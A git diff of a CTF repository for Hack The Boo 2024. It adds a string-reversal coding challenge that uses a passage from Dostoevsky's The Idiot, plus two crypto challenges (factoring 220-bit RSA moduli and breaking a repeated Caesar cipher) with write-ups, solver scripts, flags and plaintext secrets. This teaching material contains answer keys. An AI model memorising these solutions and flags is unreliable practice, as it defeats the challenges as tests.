Lebedev, rubbing his hands with glee. +"Hey, my boy, we'll get her some proper earrings now! +We'll get her such earrings that--" +"Look here," cried Rogozin, seizing him fiercely by the arm, "look here, if you so much as name Nastasia Filipovna again, I'll tan your hide as sure as you sit there!" +"Aha! +do--by all means! +if you tan my hide you won't turn me away from your society. +You'll bind me to you, with your lash, for ever. +Ha, ha! +here we are at the station, though." +Sure enough, the train was just steaming in as he spoke. +Though Rogozin had declared that he left Pskoff secretly, a large collection of friends had assembled to greet him, and did so with profuse waving of hats and shouting. +"Why, there's Zaleshov here, too!" he muttered, gazing at the scene with a sort of triumphant but unpleasant smile. +Then he suddenly turned to the prince: "Prince, I don't know why I have taken a fancy to you; perhaps because I met you just when I did. +But no, it can't be that, for I met this fellow" (nodding at Lebedev) "too, and I have not taken a fancy to him by any means. +Come to see me, prince; we'll take off those gaiters of yours and dress you up in a smart fur coat, the best we can buy. +You shall have a dress coat, best quality, white waistcoat, anything you like, and your pocket shall be full of money. +Come, and you shall go with me to Nastasia Filipovna's. +Now then will you come or no?" +"Accept, accept, Prince Lev Nicolaevich" said Lebedev solemnly; "don't let it slip! +Accept, quick!" +Prince Myshkin rose and stretched out his hand courteously, while he replied with some cordiality: "I will come with the greatest pleasure, and thank you very much for taking a fancy to me. +I dare say I may even come today if I have time, for I tell you frankly that I like you very much too. +I liked you especially when you told us about the diamond earrings; but I liked you before that as well, though you have such a dark-clouded sort of face. +Thanks very much for the offer of clothes and a fur coat; I certainly shall require both clothes and coat very soon. +As for money, I have hardly a copeck about me at this moment." +"You shall have lots of money; by the evening I shall have plenty; so come along!" +"That's true enough, he'll have lots before evening!" put in Lebedev. +"But, look here, are you a great hand with the ladies? +Let's know that first?" asked Rogozin. +"Oh no, oh no! +said the prince; "I couldn't, you know--my illness--I hardly ever saw a soul." +"H'm! +well--here, you fellow-you can come along with me now if you like!" cried Rogozin to Lebedev, and so they all left the carriage. +Lebedev had his desire. +He went off with the noisy group of Rogozin's friends towards the Voznesensky, while the prince's route lay towards the Litaynaya. +It was damp and wet. +The prince asked his way of passers-by, and finding that he was a couple of miles or so from his destination, he determined to take a droshky. diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/notes.md b/htb/hacktheboo2024/coding/[Very Easy] reversal/notes.md new file mode 100644 index 0000000..8e09b54 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/notes.md @@ -0,0 +1,8 @@ +Author: ir0nstone + +Story is the start of The Idiot, but with the names changed to Russian. +https://www.online-literature.com/dostoevsky/idiot/1/ + +Can change to something more spooky. + +Docker image: `coding_reversal_hacktheboo` \ No newline at end of file diff --git a/htb/hacktheboo2024/coding/[Very Easy] reversal/solutions/solve.py b/htb/hacktheboo2024/coding/[Very Easy] reversal/solutions/solve.py new file mode 100644 index 0000000..41a9939 --- /dev/null +++ b/htb/hacktheboo2024/coding/[Very Easy] reversal/solutions/solve.py @@ -0,0 +1,3 @@ +s = input() + +print(s[::-1]) diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/Dockerfile b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/Dockerfile new file mode 100644 index 0000000..1900c13 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/Dockerfile @@ -0,0 +1,18 @@ +FROM python:3.9-slim-buster + +RUN apt update +RUN apt install -y socat +RUN pip install pycryptodome + +# Add application +WORKDIR /challenge +COPY challenge . + +# Expose the port +EXPOSE 1337 + +# Switch to use a non-root user from here on +USER nobody + +# Start the python application +CMD ["socat", "-dd", "TCP-LISTEN:1337,reuseaddr,fork", "exec:python -u /challenge/server.py"] diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/Makefile b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/Makefile new file mode 100644 index 0000000..e1e0854 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/Makefile @@ -0,0 +1,35 @@ +default: +ifdef name + @cd challenge; \ + mkdir -p ../release/crypto_$(name); \ + cp server.py ../release/crypto_$(name); \ + + @cd release; \ + zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ + unzip -l ./crypto_$(name).zip; + + @echo [+] Challenge was built successfully. +else + @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" +endif + +flag: + @echo [+] Flag : $$(cd challenge; python3 -c 'print(open("flag.txt").read())') + +solver: + @echo [+] Running solver + @cd htb ; \ + sage -python3 solver.py + @find ./ -name "*.sage.py" -type f -delete + +solver_remote: + @echo [+] Running remote solver + ./build-docker.sh + @sage -python3 htb/solver.py REMOTE localhost:1337 + +test: clean default flag solver solver_remote + +clean: + @rm -rf release/* + @find . -name "*.sage.py" -type f -delete + @echo [+] Challenge release deleted successfully. diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/README.md b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/README.md new file mode 100644 index 0000000..ea19412 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/README.md @@ -0,0 +1,193 @@ +![img](../../../../../assets/htb.png) + +brevi moduli + +​ 25th September 2024 / Document No. D24.102.XX + +​ Prepared By: `rasti` + +​ Challenge Author(s): `rasti` + +​ Difficulty: Very Easy + +​ Classification: Official + + + +# Synopsis + +- `brevi moduli` is a very easy challenge. The player has to pass five rounds to get the flag. At each round, they will have to submit the prime factors $p, q$ of a 220-bit RSA modulus. Since the modulus is small, it can be factored by most tools, such as SageMath. + +## Description + +- On a cold Halloween night, five adventurers gathered at the entrance of an ancient crypt. The Cryptkeeper appeared from the shadows, his voice a chilling whisper: "Five locks guard the treasure inside. Crack them, and the crypt is yours." One by one, they unlocked the crypt's secrets, but as the final door creaked open, the Cryptkeeper's eerie laughter filled the air. "Beware, for not all who enter leave unchanged." + + + +## Skills Required + +- Know how to interact with TCP servers using pwntools. +- Very basic knowledge of the RSA cryptosystem and the Integer Factorization problem. + +## Skills Learned + +- Learn how to factor small RSA moduli with SageMath (or any other tool). + +# Enumeration + +In this challenge, we are provided with just a single file: + +- `server.py` : This is the python script that runs when we connect to the challenge instance. + +## Analyzing the source code + +Let us first analyze the server code. + +```python +rounds = 5 +e = 65537 + +for i in range(rounds): + print('*'*10, f'Round {i+1}/{rounds}', '*'*10) + + p = getPrime(110) + q = getPrime(110) + n = p * q + pubkey = RSA.construct((n, e)).exportKey() + print(f'\nCan you crack this RSA public key?\n{pubkey.decode()}\n') + + assert isPrime(_p := int(input('enter p = '))), exit() + assert isPrime(_q := int(input('enter q = '))), exit() + + if n != _p * _q: + print('wrong! bye...') + exit() + + print() + +print(open('flag.txt').read()) +``` + +To get the flag, we have to pass 5 rounds successfully. At each round, we are provided with an RSA public key and the task is to provide the prime factors $p, q$ of the modulus $N$. The value of the public exponent, namely $e$, is fixed to the standardized value $65537$. + +# Solution + +## Finding the vulnerability + +The security of the RSA cryptosystem, lies entirely on the hardness of solving the Integer Factorization problem. In simple words, this problem can be summarized as: + +*Given $p = 10412581$ and $q = 15559549$, it is trivial and very fast to calculate that $10412581 \cdot 15559549 = 162015064285969 = N$. However, given only $N = 162015064285969$, it is much harder to find which two numbers $p,q$ were multiplied to produce it.* + +For much larger numbers, it becomes infeasible for the modern computers to solve this problem. + +In this challenge, the size of each prime is $110$ bits, so their product is $110 + 110 = 220$ bits in total. It turns out that a $220$-bit RSA modulus is totally insecure to use for cryptography as it can be factored by modern computers very fast. There are many libraries and tools that factor integers but in CTF challenges, the most commonly used is SageMath so we will stick with it. Let us see an example first with dummy numbers. + +```python +sage: p = random_prime(2^110) +sage: q = random_prime(2^110) +sage: n = p * q +sage: %time factor(n) +CPU times: user 6.46 s, sys: 7.96 ms, total: 6.47 s +Wall time: 6.5 s +356113038545854871808945806883821 * 1270756668530534635604669619715399 +sage: p +356113038545854871808945806883821 +sage: q +1270756668530534635604669619715399 +``` + +We can see it took only 6.5 seconds for SageMath to factor $n$. Therefore, our task is pretty clear: + +Connect to the server, retrieve the modulus at each round, factor it and send the factors back to the server. + +However, the RSA public key is provided to us in PEM format. + +```python +pem_pubkey = RSA.construct((n, e)).exportKey() +print(f'\nCan you crack this RSA public key?\n{pubkey.decode()}\n') +``` + +The PEM format is as follows: + +``` +-----BEGIN PUBLIC KEY----- +MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcBEwL/SBkcv+AmVwzDWtY80vQ4ALwjtUt +RgeXuwIDAQAB +-----END PUBLIC KEY----- +``` + +One might wonder why do we have to use such a weird format for sending RSA public keys. The reason is that RSA is widely used in applications such as TLS, which means that the key format must be consistent to avoid errors while parsing the parameters. Conventionally, applications utilize the PEM format. If no such format is used, one could argue which of the following should be used: + +- `(n = value_of_n, e = value_of_e)` +- `(n=value_of_n,e=value_of_e)` +- `[n=value_of_n, e=value_of_e]` + +and so on. + +The way to read the actual RSA parameters from a PEM formatted key is to use the inverse of `exportKey` which is `importKey`. + +```python +>>> from Crypto.PublicKey import RSA +>>> n = 452533018482816403250499886919603981486991592917670642633077659579 +>>> e = 65537 +>>> pem_pubkey = RSA.construct((n, e)).exportKey() +>>> pem_pubkey +b'-----BEGIN PUBLIC KEY-----\nMDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcBEwL/SBkcv+AmVwzDWtY80vQ4ALwjtUt\nRgeXuwIDAQAB\n-----END PUBLIC KEY-----' +>>> key = RSA.importKey(pem_pubkey) +>>> key +RsaKey(n=452533018482816403250499886919603981486991592917670642633077659579, e=65537) +``` + +## Exploitation + +### Connecting to the server + +We can finally move on and write a function that retrieves and factors the five moduli. + +```python +from pwn import * +from Crypto.PublicKey import RSA +from sage.all import * + +def get_flag(): + e = 65537 + for _ in range(5): + io.recvuntil(b'key?\n') + key = RSA.importKey(io.recvuntil(b'-----END PUBLIC KEY-----\n')) + n, e = key.n, key.e + p, q = list(factor(n)) + io.sendlineafter(b'p = ', str(p[0]).encode()) + io.sendlineafter(b'q = ', str(q[0]).encode()) + io.recvline() + flag = io.recvline().strip().decode() + return flag +``` + +### Getting the flag + +A final summary of all that was said above: + +1. Notice that the provided RSA public keys are small so they can be easily factored using SageMath. +2. Retrieve the public key of each round, factor it and send back the primes. +3. Repeat this five times to get the flag. + +This recap can be represented by code with the `pwn()` function: + +```python +def pwn(): + flag = get_flag() + print(flag) + +if __name__ == '__main__': + if args.REMOTE: + host_port = sys.argv[1].split(':') + HOST = host_port[0] + PORT = host_port[1] + io = remote(HOST, PORT, level='error') + else: + import os + os.chdir('../challenge') + io = process(['python3', 'server.py'], level='error') + + pwn() +``` diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/build-docker.sh b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/build-docker.sh new file mode 100755 index 0000000..112ae5a --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/build-docker.sh @@ -0,0 +1,5 @@ +#!/bin/bash +NAME="brevi_moduli" +docker rm -f crypto_$NAME +docker build --tag=crypto_$NAME . && \ +docker run -p 1337:1337 --rm --name=crypto_$NAME --detach crypto_$NAME diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/challenge/flag.txt b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/challenge/flag.txt new file mode 100644 index 0000000..466ea6c --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/challenge/flag.txt @@ -0,0 +1 @@ +HTB{this_was_a_warmup_to_get_you_used_to_integer_factoring_and_parsing_pem_formatted_keys} \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/challenge/server.py b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/challenge/server.py new file mode 100644 index 0000000..668b82c --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/challenge/server.py @@ -0,0 +1,25 @@ +from Crypto.Util.number import isPrime, getPrime, bytes_to_long +from Crypto.PublicKey import RSA + +rounds = 5 +e = 65537 + +for i in range(rounds): + print('*'*10, f'Round {i+1}/{rounds}', '*'*10) + + pumpkin1 = getPrime(110) + pumpkin2 = getPrime(110) + n = pumpkin1 * pumpkin2 + large_pumpkin = RSA.construct((n, e)).exportKey() + print(f'\n🎃Can you crack this pumpkin🎃?\n{large_pumpkin.decode()}\n') + + assert isPrime(_pmp1 := int(input('enter your first pumpkin = '))), exit() + assert isPrime(_pmp2 := int(input('enter your second pumpkin = '))), exit() + + if n != _pmp1 * _pmp2: + print('wrong! bye...') + exit() + + print() + +print(open('flag.txt').read()) \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/htb/solver.py b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/htb/solver.py new file mode 100644 index 0000000..075e845 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/htb/solver.py @@ -0,0 +1,38 @@ +from pwn import * +from Crypto.PublicKey import RSA +from sage.all import * + +io = None + +def get_flag(): + e = 65537 + for _ in range(5): + io.recvuntil(b'Round ') + print(io.recvline().split()[0].decode()) + io.recvuntil(b'?\n') + key = RSA.importKey(io.recvuntil(b'-----END PUBLIC KEY-----\n')) + n, e = key.n, key.e + p, q = list(factor(n)) + io.sendlineafter(b'pumpkin = ', str(p[0]).encode()) + io.sendlineafter(b'pumpkin = ', str(q[0]).encode()) + io.recvline() + flag = io.recvline().strip().decode() + return flag + + +def pwn(): + flag = get_flag() + print(flag) + +if __name__ == '__main__': + if args.REMOTE: + host_port = sys.argv[1].split(':') + HOST = host_port[0] + PORT = host_port[1] + io = remote(HOST, PORT, level='error') + else: + import os + os.chdir('../challenge') + io = process(['python3', 'server.py'], level='error') + + pwn() \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/release/crypto_brevi_moduli.zip b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/release/crypto_brevi_moduli.zip new file mode 100644 index 0000000..36f6f50 Binary files /dev/null and b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/release/crypto_brevi_moduli.zip differ diff --git a/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/release/crypto_brevi_moduli/server.py b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/release/crypto_brevi_moduli/server.py new file mode 100644 index 0000000..668b82c --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] brevi moduli/release/crypto_brevi_moduli/server.py @@ -0,0 +1,25 @@ +from Crypto.Util.number import isPrime, getPrime, bytes_to_long +from Crypto.PublicKey import RSA + +rounds = 5 +e = 65537 + +for i in range(rounds): + print('*'*10, f'Round {i+1}/{rounds}', '*'*10) + + pumpkin1 = getPrime(110) + pumpkin2 = getPrime(110) + n = pumpkin1 * pumpkin2 + large_pumpkin = RSA.construct((n, e)).exportKey() + print(f'\n🎃Can you crack this pumpkin🎃?\n{large_pumpkin.decode()}\n') + + assert isPrime(_pmp1 := int(input('enter your first pumpkin = '))), exit() + assert isPrime(_pmp2 := int(input('enter your second pumpkin = '))), exit() + + if n != _pmp1 * _pmp2: + print('wrong! bye...') + exit() + + print() + +print(open('flag.txt').read()) \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/Makefile b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/Makefile new file mode 100644 index 0000000..77411f8 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/Makefile @@ -0,0 +1,31 @@ +default: +ifdef name + @cd challenge; \ + python3 source.py; \ + mkdir crypto_$(name); \ + cp source.py output.txt ./crypto_$(name); \ + cp output.txt ../htb/; \ + mv ./crypto_$(name) ../release/; + + @cd release; \ + zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ + unzip -l ./crypto_$(name).zip; + + @echo [+] Challenge was built successfully. +else + @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" +endif + +flag: + @echo [+] Flag : $$(cd challenge; python3 -c 'print(open("secret.txt").read())') +solver: + @echo [+] PoC : + @cd htb ; python3 solver.py + +test: clean default flag solver + +clean: + @rm -rf release/* + @rm -rf htb/output.txt + @find . -name "*.sage.py" -type f -delete + @echo [+] Challenge release deleted successfully. diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/README.md b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/README.md new file mode 100644 index 0000000..32e5c55 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/README.md @@ -0,0 +1,141 @@ +![img](../../../../../assets/htb.png) + +sekur julius + +​ 2nd October 2024 / Document No. D24.102.XX + +​ Prepared By: `rasti` + +​ Challenge Author: `rasti` + +​ Difficulty: Very Easy + +​ Classification: Official + +# Synopsis + +- `sekur julius` is a very easy crypto challenge. The player has to understand that no matter how many times Caesar cipher is applied to a message, the security does not increase as each character is shifted by the same shift offset each time. Therefore, 1337 Caesar encryptions are equivalent to that of a single one. The task is to perform Caesar cipher decryption to obtain the flag string and wrap it with the usual HTB flag format `HTB{}`. + +## Description + +- Hidden deep in the forest was an ancient scroll, rumored to grant immense power to anyone who could read its shifting symbols. On Halloween, a curious traveler found the scroll, its letters strangely out of order. As they deciphered the message, the words slowly rearranged themselves, revealing a dark spell. But with the final shift, the traveler felt a cold presence behind them, whispering, "You were never meant to understand." The forest grew silent, but the spell was already cast. + +## Skills Required + +- Basic knowledge of the Caesar cipher + +## Skills Learned + +- Learn that performing several encryptions with Caesar cipher does not increase the security. + +# Enumeration + +In this challenge we are provided with two files: + +- `source.py` : This is the script that encrypts the secret message and writes the ciphertext to `output.txt` +- `output.txt` : This is the output file that contains the encrypted message + +## Analyzing the source code + +Let us first analyze the source of the script. + +```python +from random import choices + +def julius_encrypt(msg, shift): + ct = '' + for p in msg: + if p == ' ': + ct += '0' + elif not ord('A') <= ord(p) <= ord('Z'): + ct += p + else: + o = ord(p) - 65 + ct += chr(65 + (o + shift) % 26) + return ct + +def encrypt(msg, key): + for shift in key: + msg = julius_encrypt(msg, shift) + return msg + +msg = open('secret.txt').read().upper() +secure_key = os.urandom(1337) + +with open('output.txt', 'w') as f: + f.write(encrypt(msg, secure_key)) +``` + +The flow is very simple to follow. A message is read from `secret.txt` and is encrypted with a key. The key is a random byte string of 1337 bytes. + +The message is then encrypted using each of these bytes as a key. The function that encrypts the actual message is called `julius_encrypt` and we are given its source code. The function iterates over each message character and encrypts it as follows: + +1. If the character is a whitespace, it appends a '$0$' to the ciphertext +2. If the character is any other non-uppercase character, it appends it as it is. +3. If the character is in uppercase, it is substituted with the character being $\text{shift}$ positions to the right. For example, the letter 'A' with a key of 4 would have been encrypted to 'E'. + +This encryption process should remind us of the Caesar Cipher and in this case the function name is a hint to verify our educated guess. + +# Solution + +## Finding the vulnerability + +Caesar cipher is known to be vulnerable due to its small key space, which in this challenge consists of a total of 26 characters; the uppercase English alphabet. However, there is a twist in this challenge; the message is not encrypted with a single shift but with 1337 shifts where each shift can be any number in the range $[0, 255]$. + +A standard choice of a shift would be in the range $[0, 25]$ and not in $[0, 255]$. However, the encryption methods adds the shift to the plaintext letter and then reduces the result $\pmod {26}$. + +```python +(o + shift) % 26 +``` + +Due to the properties of modular arithmetic, this is equivalent too: + +```python +(o % 26 + shift % 26) % 26 +``` + +We observe no matter how large `shift` is, the final number will lie in the range $[0, 25]$. For example, encrypting with $\text{shift} = 250$ is equivalent to $250 \pmod {26} = 10$. As a result, we conclude that the effective keyspace of the cipher remains exactly the same. + +Now, regarding the several rounds of encryption, let us see what happens if we encrypt a message with caesar two times, with two different shifts. Let the message `CRYPTOGRAPHY`. First, we encrypt the plaintext with a shift value of $3$, and then we encrypt the result with a shift value of $5$. +$$ +\text{Plaintext} :& \text{C R Y P T O G R A P H Y}\\ +\text{Shift by 3} :& \text{F U B S W R J U D S K B}\\ +\text{Shift by 5} :& \text{K Z G X B W O Z I X P G} +$$ +Notice that we can get the final result by encrypting the initial plaintext with a shift value equal to the sum of the sub-shifts; that is $3 + 5 = 8$. +$$ +\text{Plaintext} :& \text{C R Y P T O G R A P H Y}\\ +\text{Shift by 8} :& \text{K Z G X B W O Z I X P G} +$$ +This is crucial as we eliminated one round of encryption and yet ended up with the same result. Back to our challenge, the secret message is encrypted with 1337 rounds. Similarly, we can obtain the final ciphertext by encrypting the message with the shift being the sum of all the 1337 sub-shifts, reduced $\pmod {26}$. In the end, the effective shift value is again a number in the range $[0, 25]$. + +The solution plan is trivial. All we have to do is decrypt the ciphertext with all 26 possible shift values and check if the plaintext looks like English language. We could use the index of coincidence technique to find the correct plaintext directly but it is not mandatory in this case. + +Let us write a function that decrypts the ciphertext with all possible 26 keys. + +```python +def decrypt(): + enc = open('output.txt').read() + for i in range(1, 26): + print(f'{i = } | {julius_decrypt(enc, i)}') +``` + + + +## Getting the flag + +A final summary of all that was said above: + +1. Notice that the provided cipher is identical to the Caesar cipher. +2. Figure out that the "twist" of the shift values being in the range $[0, 255]$ does not add something to the security of the cipher and the keyspace remains the same. +3. With simple logic and experimentations, one can conclude that the total number of encryption rounds eventually drops down to a single encryption with Caesar cipher. +4. Knowing that, we can decrypt the ciphertext with all the possible 26 keys and check which result looks like English language. + +This recap can be represented by code with the `pwn()` function: + +```python +def pwn(): + decrypt() + +pwn() +``` diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/output.txt b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/output.txt new file mode 100644 index 0000000..505dd46 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/output.txt @@ -0,0 +1 @@ +LTARDBT0ID0WPRZIWTQDD0ILDIWDJHPCSILTCINUDJG!0IWXH0XH0P0EGDDU0DU0RDCRTEI0ID0EGDKT0NDJ0IWPI0IWT0RPTHPG0RXEWTG0XH0XCHTRJGT0CD0BPIITG0WDL0BPCN0IXBTH0NDJ0PEEAN0XI.0IWT0HTRJGXIN0DU0P0IWDJHPCS0SXHIXCRI0HWXUIH0XH0TKTCIJPAAN0IWT0HPBT0PH0IWPI0DU0P0HXCVAT0HWXUI.0TCDJVW0BJBQAXCV,0IPZT0NDJG0UAPV0PCS0TCYDN0IWT0GTHI0DU0IWT0RDCITHI.0BPZT0HJGT0NDJ0LGPE0IWT0UDAADLXCV0ITMI0LXIW0IWT0WIQ0UAPV0UDGBPI0HTRJGXINDUPIWDJHPCSDGHTRJGXINDUPHXCVAT. \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/secret.txt b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/secret.txt new file mode 100644 index 0000000..6146fc6 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/secret.txt @@ -0,0 +1 @@ +Welcome to HackTheBoo TwoThousandTwentyFour! This is a proof of concept to prove you that the Caesar cipher is insecure no matter how many times you apply it. The security of a thousand distinct shifts is eventually the same as that of a single shift. Enough mumbling, take your flag and enjoy the rest of the contest. Make sure you wrap the following text with the HTB flag format SECURITYOFATHOUSANDORSECURITYOFASINGLE. \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/source.py b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/source.py new file mode 100644 index 0000000..04ba3e6 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/challenge/source.py @@ -0,0 +1,24 @@ +from random import choices + +def julius_encrypt(msg, shift): + ct = '' + for p in msg: + if p == ' ': + ct += '0' + elif not ord('A') <= ord(p) <= ord('Z'): + ct += p + else: + o = ord(p) - 65 + ct += chr(65 + (o + shift) % 26) + return ct + +def encrypt(msg, key): + for shift in key: + msg = julius_encrypt(msg, shift) + return msg + +msg = open('secret.txt').read().upper() +secure_key = os.urandom(1337) + +with open('output.txt', 'w') as f: + f.write(encrypt(msg, secure_key)) diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/htb/output.txt b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/htb/output.txt new file mode 100644 index 0000000..505dd46 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/htb/output.txt @@ -0,0 +1 @@ +LTARDBT0ID0WPRZIWTQDD0ILDIWDJHPCSILTCINUDJG!0IWXH0XH0P0EGDDU0DU0RDCRTEI0ID0EGDKT0NDJ0IWPI0IWT0RPTHPG0RXEWTG0XH0XCHTRJGT0CD0BPIITG0WDL0BPCN0IXBTH0NDJ0PEEAN0XI.0IWT0HTRJGXIN0DU0P0IWDJHPCS0SXHIXCRI0HWXUIH0XH0TKTCIJPAAN0IWT0HPBT0PH0IWPI0DU0P0HXCVAT0HWXUI.0TCDJVW0BJBQAXCV,0IPZT0NDJG0UAPV0PCS0TCYDN0IWT0GTHI0DU0IWT0RDCITHI.0BPZT0HJGT0NDJ0LGPE0IWT0UDAADLXCV0ITMI0LXIW0IWT0WIQ0UAPV0UDGBPI0HTRJGXINDUPIWDJHPCSDGHTRJGXINDUPHXCVAT. \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/htb/solver.py b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/htb/solver.py new file mode 100644 index 0000000..2e01858 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/htb/solver.py @@ -0,0 +1,16 @@ +def julius_decrypt(enc, shift): + pt = '' + for c in enc: + if c == '0': + pt += ' ' + elif not ord('A') <= ord(c) <= ord('Z'): + pt += c + else: + o = ord(c) - 65 + pt += chr(65 + (o - shift) % 26) + return pt + +enc = open('output.txt').read() + +for i in range(1, 26): + print(f'{i = } | {julius_decrypt(enc, i)}') diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius.zip b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius.zip new file mode 100644 index 0000000..434624c Binary files /dev/null and b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius.zip differ diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius/output.txt b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius/output.txt new file mode 100644 index 0000000..505dd46 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius/output.txt @@ -0,0 +1 @@ +LTARDBT0ID0WPRZIWTQDD0ILDIWDJHPCSILTCINUDJG!0IWXH0XH0P0EGDDU0DU0RDCRTEI0ID0EGDKT0NDJ0IWPI0IWT0RPTHPG0RXEWTG0XH0XCHTRJGT0CD0BPIITG0WDL0BPCN0IXBTH0NDJ0PEEAN0XI.0IWT0HTRJGXIN0DU0P0IWDJHPCS0SXHIXCRI0HWXUIH0XH0TKTCIJPAAN0IWT0HPBT0PH0IWPI0DU0P0HXCVAT0HWXUI.0TCDJVW0BJBQAXCV,0IPZT0NDJG0UAPV0PCS0TCYDN0IWT0GTHI0DU0IWT0RDCITHI.0BPZT0HJGT0NDJ0LGPE0IWT0UDAADLXCV0ITMI0LXIW0IWT0WIQ0UAPV0UDGBPI0HTRJGXINDUPIWDJHPCSDGHTRJGXINDUPHXCVAT. \ No newline at end of file diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius/source.py b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius/source.py new file mode 100644 index 0000000..04ba3e6 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sekur julius/release/crypto_sekur_julius/source.py @@ -0,0 +1,24 @@ +from random import choices + +def julius_encrypt(msg, shift): + ct = '' + for p in msg: + if p == ' ': + ct += '0' + elif not ord('A') <= ord(p) <= ord('Z'): + ct += p + else: + o = ord(p) - 65 + ct += chr(65 + (o + shift) % 26) + return ct + +def encrypt(msg, key): + for shift in key: + msg = julius_encrypt(msg, shift) + return msg + +msg = open('secret.txt').read().upper() +secure_key = os.urandom(1337) + +with open('output.txt', 'w') as f: + f.write(encrypt(msg, secure_key)) diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/Makefile b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/Makefile new file mode 100644 index 0000000..eeaeaa5 --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/Makefile @@ -0,0 +1,31 @@ +default: +ifdef name + @cd challenge; \ + python3 source.py; \ + mkdir crypto_$(name); \ + cp source.py output.txt ./crypto_$(name); \ + cp output.txt ../htb/; \ + mv ./crypto_$(name) ../release/; + + @cd release; \ + zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ + unzip -l ./crypto_$(name).zip; + + @echo [+] Challenge was built successfully. +else + @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" +endif + +flag: + @echo [+] Flag : $$(cd challenge; python3 -c 'print(open("flag.txt").read())') +solver: + @echo [+] PoC : $$(cd htb ; sage -python3 solver.py) + @find . -name "*.sage.py" -type f -delete + +test: clean default flag solver + +clean: + @rm -rf release/* + @rm -rf htb/output.txt + @find . -name "*.sage.py" -type f -delete + @echo [+] Challenge release deleted successfully. diff --git a/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/README.md b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/README.md new file mode 100644 index 0000000..6b8c8bf --- /dev/null +++ b/htb/hacktheboo2024/crypto/[Very Easy] sugar free candies/README.md @@ -0,0 +1,143 @@ +![](assets/images/banner.png) + +sugar free candies + +​ 22th September 2023 / Document No. D23.102.XX + +​ Prepared by : `rasti` + +​ Challenge Author(s): `0x50r4` + +​ Difficulty: Very Easy + +​ Classification: Official + +​ + + + 